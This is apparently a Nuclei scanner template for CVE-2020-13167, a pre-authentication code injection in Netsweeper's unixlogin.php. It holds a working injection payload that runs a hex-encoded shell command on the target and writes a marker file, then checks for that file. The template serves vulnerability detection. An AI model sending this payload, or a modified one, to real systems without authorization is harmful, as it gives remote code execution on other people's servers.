43 lines
1.6 KiB
YAML
43 lines
1.6 KiB
YAML
id: CVE-2020-13167
|
|
|
|
info:
|
|
name: Netsweeper <=6.4.3 - Python Code Injection
|
|
author: dwisiswant0
|
|
severity: critical
|
|
description: |
|
|
Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.
|
|
reference:
|
|
- https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
|
|
- https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-13167
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-13167
|
|
cwe-id: CWE-78
|
|
metadata:
|
|
hex-payload: echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/out
|
|
tags: cve,cve2020,netsweeper,rce,python,webadmin
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5"
|
|
- "{{BaseURL}}/webadmin/out"
|
|
|
|
headers:
|
|
Referer: "{{BaseURL}}/webadmin/admin/service_manager_data.php"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "nonexistent"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# Enhanced by mp on 2022/05/16
|